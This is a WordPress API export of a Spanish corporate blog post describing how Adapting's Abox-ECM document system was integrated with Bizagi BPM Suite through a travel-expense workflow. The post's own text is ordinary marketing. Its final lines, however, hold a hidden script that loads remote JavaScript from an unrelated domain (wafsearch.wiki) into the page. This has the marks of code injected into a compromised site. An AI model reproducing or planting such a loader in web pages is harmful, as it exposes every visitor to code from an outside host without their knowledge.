{"id":2919,"date":"2015-10-25T15:50:59","date_gmt":"2015-10-25T14:50:59","guid":{"rendered":"https:\/\/149.56.148.186\/?p=1515"},"modified":"2026-03-20T04:17:46","modified_gmt":"2026-03-20T09:17:46","slug":"abox-ecm-se-integra-con-bizagi-bpm-business-suite","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/abox-ecm-se-integra-con-bizagi-bpm-business-suite\/","title":{"rendered":"Abox-ECM se integra con Bizagi BPM Business Suite"},"content":{"rendered":"<blockquote><p>Recientemente, nuestro equipo de I+D tuvo el honor de colaborar con los equipos de <strong>Soft y Di<\/strong> (business partner de Adapting) y <strong>Bizagi<\/strong> localizados en Bogot\u00e1 (Colombia) al objeto de desarrollar una API de integraci\u00f3n que demostrara la conveniencia y viabilidad de integrar la soluci\u00f3n de gesti\u00f3n documental profesional <strong>Abox-ECM<\/strong> con la soluci\u00f3n BPM Business Suite de <strong>Bizagi<\/strong>, uno de los BPMs m\u00e1s conocidos a nivel mundial y con una s\u00f3lida proyecci\u00f3n internacional.<\/p><\/blockquote>\n<h2>BIZAGI BPM SUITE<\/h2>\n<p>Bizagi es una herramienta freeware de BPM basada en una plataforma denominada Bizagi BPM Suite (<a title=\"Web Bizagi\" href=\"http:\/\/www.bizagi.com\" target=\"_blank\" rel=\"noopener\">www.bizagi.com<\/a>) compuesta por 3 herramientas.<\/p>\n<ul>\n<li>\n<h4>BIZAGI MODELLER<\/h4>\n<\/li>\n<\/ul>\n<p style=\"padding-left: 30px;\"><i>Permite dise\u00f1ar mapas de procesos<\/i><\/p>\n<p style=\"padding-left: 30px;\">Reconocido por muchos como el ambiente de modelamiento BPMN m\u00e1s potente del mercado, Bizagi Modeler permite a los expertos en negocios dise\u00f1ar, documentar y evolucionar su modelo de proceso con total confianza. El intuitivo sistema \u201cdrag and drop\u201d, las actualizaciones libres de c\u00f3digo y las herramientas de generaci\u00f3n autom\u00e1tica de documentos hacen de esta una experiencia amigable, incluso sin conocimientos t\u00e9cnicos.<\/p>\n<ul>\n<li>\n<h4>BIZAGI STUDIO:<\/h4>\n<\/li>\n<\/ul>\n<p style=\"padding-left: 30px;\"><i>Permite construir aplicaciones de procesos<\/i><\/p>\n<p style=\"padding-left: 30px;\">Gracias a la filosof\u00eda de \u201cmodelamiento antes que programaci\u00f3n\u201d de Bizagi Studio, los expertos en negocios cuentan con todo lo necesario para transformar modelos de proceso en aplicaciones y workflows reales y ejecutables. Desde la definici\u00f3n del modelo de datos y la interfaz de usuario hasta la integraci\u00f3n de recursos de TI, el asistente integrado de Bizagi facilita el trabajo en cada paso.<\/p>\n<ul>\n<li>\n<h4>BIZAGI ENGINE:<\/h4>\n<\/li>\n<\/ul>\n<p style=\"padding-left: 30px;\"><i>Permite ejecutar Bizagi en toda la empresa<\/i><\/p>\n<p style=\"padding-left: 30px;\">Con versiones desplegables en JEE o .NET para adaptarse a cualquier arquitectura existente, Bizagi Engine ejecuta y controla los procesos de negocio automatizados con Bizagi Studio. El enfoque \u201cactualice una vez y cambie en todas partes\u201d optimiza la carga de trabajo de toda la cadena de valor, reduciendo tiempo y costos. El portal multi-lenguaje de Bizagi permite visualizar f\u00e1cilmente las actividades pendientes, mientras que los KPIs proporcionan control total sobre el rendimiento del proceso.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/business-process-management-and-re-engineering.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1520 alignleft\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/business-process-management-and-re-engineering-300x199.jpg\" alt=\"business-process-management-and-re-engineering\" width=\"300\" height=\"199\" \/><\/a>Los<strong> puntos fuertes de la suite de Bizagi<\/strong> son su usabilidad para el dise\u00f1o e implementaci\u00f3n de workflows, su elevada capacidad de integraci\u00f3n con otros aplicativos de la empresa, su potencial de movilidad funcionando sobre cualquier dispositivo moderno, as\u00ed como el uso de est\u00e1ndares que facilita su mantenimiento y crecimiento dentro de las empresas.<\/p>\n<h2><\/h2>\n<h2>Abox-ECM by Adapting:<\/h2>\n<p><strong>abox<\/strong> es una soluci\u00f3n de gesti\u00f3n documental profesional que captura, almacena, procesa y distribuye informaci\u00f3n empresarial no estructurada (documentos). Permite gestionar correspondencia, organizar la documentaci\u00f3n empresarial, optimizar procesos internos y gestionar virtualmente el archivo f\u00edsico. Como puntos fuertes en comparaci\u00f3n con la competencia mencionamos:<\/p>\n<ul>\n<li>Se combinan radicados f\u00edsicos y electr\u00f3nicos en un expediente \u201ch\u00edbrido\u201d.<\/li>\n<li>Se cumplen buenas pr\u00e1cticas y normativa internacional y nacional en gesti\u00f3n documental y archiv\u00edstica.<\/li>\n<li>Gestiona todo el ciclo de vida del documento.<\/li>\n<li>Soluci\u00f3n modular y escalable, existen modelos para ir avanzando en la implantaci\u00f3n progresiva de un programa de Oficina Cero Papel.<\/li>\n<li>Capacidad de administraci\u00f3n (panel) y personalizaci\u00f3n.<\/li>\n<li>Dispone de mecanismos de workflow, migraci\u00f3n masiva e integraci\u00f3n mediante API con otros aplicativos empresariales.<\/li>\n<li>Cumplir la legislaci\u00f3n\u00a0 y\/o\u00a0 requisitos calidad (ISO)<\/li>\n<li>Mejorar la gesti\u00f3n de la informaci\u00f3n y conocimiento<\/li>\n<li>Automatizar procesos<\/li>\n<li>Controlar la ejecuci\u00f3n de tareas<\/li>\n<li>Reducir costes<\/li>\n<li>Beneficios medioambientales<\/li>\n<\/ul>\n<h4>Cumplimiento legal de abox:<\/h4>\n<p>Basada en normas internacionales de gesti\u00f3n documental y archiv\u00edstica:<\/p>\n<ul>\n<li>ISO-15489 parte 1 y 2. Modular Requirements for Records Systems.<\/li>\n<li>ISO-16175 parte 1 y 2. Information and documentation \u2013 Principles and functional requirements for records in electronic office environments \/ Guidelines and functional requirements for digital records management systems<\/li>\n<li>Moreq 2010. Modular Requirements for Records Systems v.1.1.; DLM Forum Foundation (www.moreq.edu).<\/li>\n<li>ISO 19005-1:2005 \u2013 Document management \u2013 Electronic document file format for long-term preservation \u2013 Part 1: Use of PDF 1.4 (PDF\/A-1)<\/li>\n<li>Ley 594 de 2000. Archivo General de la Naci\u00f3n, Colombia<\/li>\n<li>ISO 19005-1:2005 \u2013 Document management \u2013 Electronic document file format for long-term preservation \u2013 Part 1: Use of PDF 1.4 (PDF\/A-1)<\/li>\n<\/ul>\n<h2>Experiencia de integraci\u00f3n BPM Bizagi y ECM abox:<\/h2>\n<p>En el marco de un esfuerzo conjunto en I+D+i, las empresas Bizagi Colombia y Adapting Am\u00e9rica, cuyos laboratorios de desarrollo se ubican en Colombia, realizamos en Bogot\u00e1 (Colombia) la experiencia de integrar Bizagi con abox, para demostrar a los clientes potenciales de ambas compa\u00f1\u00edas los beneficios que una integraci\u00f3n de ambas plataformas puede aportar.<\/p>\n<h4>Proceso de legalizaci\u00f3n de gastos de viaje (vi\u00e1ticos):<\/h4>\n<p>Como ejemplo tomamos un proceso gen\u00e9rico de <b>legalizaci\u00f3n de gastos de viaje (vi\u00e1ticos)<\/b> y generamos los siguientes insumos:<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/diagrama_proceso.png\"><img loading=\"lazy\" class=\"size-medium wp-image-1523 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/diagrama_proceso-300x170.png\" alt=\"diagrama_proceso\" width=\"300\" height=\"170\" \/><\/a><\/p>\n<ul>\n<li>Modelo del proceso de Vi\u00e1ticos en BPMN (Bizagi)<\/li>\n<li>Identificaci\u00f3n de tipos documentales del expediente de Vi\u00e1ticos<\/li>\n<li>Identificaci\u00f3n de metadatos del proceso a almacenar en el expediente de ABOX<\/li>\n<li>Identificaci\u00f3n de estados del tr\u00e1mite del expediente y documentos<\/li>\n<li>Especificaci\u00f3n de funciones de integraci\u00f3n en la API de ABOX<\/li>\n<li>Identificaci\u00f3n de acciones de integraci\u00f3n entre Bizagi y Abox<\/li>\n<\/ul>\n<p>Una vez especificados los requisitos, los t\u00e9cnicos de Bizagi y Abox realizaron las conexiones oportunas entre ambas plataformas, logr\u00e1ndose un resultado operativo en <b>menos de 48 horas<\/b>.<\/p>\n<h4>Flujo integrado Bizagi-Abox:<\/h4>\n<p>El proceso integrado consta ahora de dos fases con sus correspondientes etapas determinadas en el workflow de cada tipolog\u00eda documental: 1. <span style=\"text-decoration: underline;\">Tr\u00e1mite de los vi\u00e1ticos en Bizagi. <\/span><\/p>\n<p style=\"padding-left: 60px;\">1.1.\u00a0\u00a0\u00a0 Solicitud de anticipo<\/p>\n<p style=\"padding-left: 60px;\">1.2.\u00a0\u00a0\u00a0 Solicitud de reintegro<\/p>\n<p style=\"padding-left: 60px;\">1.3.\u00a0\u00a0\u00a0 Tr\u00e1mite de cambio de divisas (opcional)<\/p>\n<p>2. <span style=\"text-decoration: underline;\">Consulta de los expedientes generados por Bizagi en Abox<\/span><\/p>\n<p style=\"padding-left: 60px;\">2.1.\u00a0\u00a0\u00a0 Los expedientes son creados en la carpeta de Subserie Vi\u00e1ticos, dentro de la dependencia RRHH<\/p>\n<p style=\"padding-left: 60px;\">2.2.\u00a0\u00a0\u00a0 El potente buscador de abox permite encontrar los expedientes y los documentos generados de forma muy sencilla.<\/p>\n<p><span style=\"text-decoration: underline;\">3. Cierre y archivado de los expedientes en abox. <\/span><\/p>\n<p style=\"padding-left: 60px;\">3.1.\u00a0\u00a0\u00a0 Una vez finalizado el tr\u00e1mite en Bizagi, los expedientes pueden cerrarse en abox y posteriomente ser pasados al estado de Archivado.<\/p>\n<p style=\"padding-left: 60px;\">3.2.\u00a0\u00a0\u00a0 La gesti\u00f3n del archivo, tiempos de retenci\u00f3n, disposici\u00f3n final, etc ya pueden realizarse directamente en abox.<\/p>\n<p><span style=\"text-decoration: underline;\">4. Correspondencia en abox y retorno a Bizagi<\/span><\/p>\n<p style=\"padding-left: 60px;\">4.1.\u00a0\u00a0\u00a0 Como paso final para cerrar el bucle de gesti\u00f3n, la correspondencia recibida en abox que tenga que ver con el proceso de Vi\u00e1ticos, debe ser transferida para su tr\u00e1mite a Bizagi. Solamente aqu\u00e9llos documentos que tengan un origen externo o que sean suministrados por usuarios que no tengan acceso directo al BPM.<\/p>\n<p style=\"padding-left: 60px;\">4.2.\u00a0\u00a0\u00a0 Para ello, la persona encargada del Dpto de RRHH recibir\u00e1 ciertos documentos, los clasificar\u00e1 en el expediente correspondiente (que ya deber\u00e1 haber sido creado desde Bizagi) y enviar\u00e1 una notificaci\u00f3n al responsable del proceso para lanzar el flujo desde Bizagi, tomando autom\u00e1ticamente el link al documento de abox.<\/p>\n<p style=\"padding-left: 60px;\">4.3.\u00a0\u00a0\u00a0 El proceso inicia de nuevo en el paso 1.<\/p>\n<p>A nivel de usuarios, Bizagi \u00fanicamente requiere un usuario licenciado en abox para realizar la integraci\u00f3n. Los usuarios activos en Bizagi son normalmente pasivos en Abox, siendo este tipo de usuarios gratuitos en el SGEDA hasta un determinado umbral. Al contrario, ciertos usuarios con un rol de Ventanilla o Archivo en abox no requerir\u00e1n una licencia en Bizagi, al no encargarse directamente del proceso de Vi\u00e1ticos.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/Img_Integr_Bizagi.png\"><img loading=\"lazy\" class=\"size-medium wp-image-1533 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/Img_Integr_Bizagi-300x153.png\" alt=\"Img_Integr_Bizagi\" width=\"300\" height=\"153\" \/><\/a><\/p>\n<h4>Ventajas de la integraci\u00f3n:<\/h4>\n<p>Lo que nos muestra este tipo de integraciones es que sumando lo mejor del mundo del BPM y de un SGEDA obtenemos un resultado que es muy superior a cualquier proyecto de ampliaci\u00f3n de una soluci\u00f3n individual o un desarrollo a la medida. Si tenemos en cuenta que las tareas t\u00e9cnicas de integraci\u00f3n se pudieron ejecutar en 48 horas y que los resultados estaban listos para mostrar al cliente en menos de 1 semana, podemos comprender la importancia de esta experiencia para ambas compa\u00f1\u00edas. Recordemos para finalizar los <b>beneficios<\/b> que puede obtener un <b>cliente<\/b> con esta integraci\u00f3n:<\/p>\n<ol>\n<li>Obtiene todas las prestaciones de un BPM de alta gama<\/li>\n<li>Consigue las capacidades de un SGEDA, cumpliendo adem\u00e1s con la legalidad vigente en materia de Gesti\u00f3n Documental y Archiv\u00edstica.<\/li>\n<li>Se logran resultados funcionales en un tiempo record, especialmente si lo comparamos con soluciones parciales o soluciones a medida.<\/li>\n<li>Se reducen costos al disponerse de una API basada en SOAP que permite cualquier tipo de integraci\u00f3n.<\/li>\n<li>Se optimiza la inversi\u00f3n en licencias al poderse repartir el trabajo entre Bizagi y Abox, seg\u00fan el rol de cada usuario en la organizaci\u00f3n.<\/li>\n<\/ol>\n<p>&nbsp;<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = 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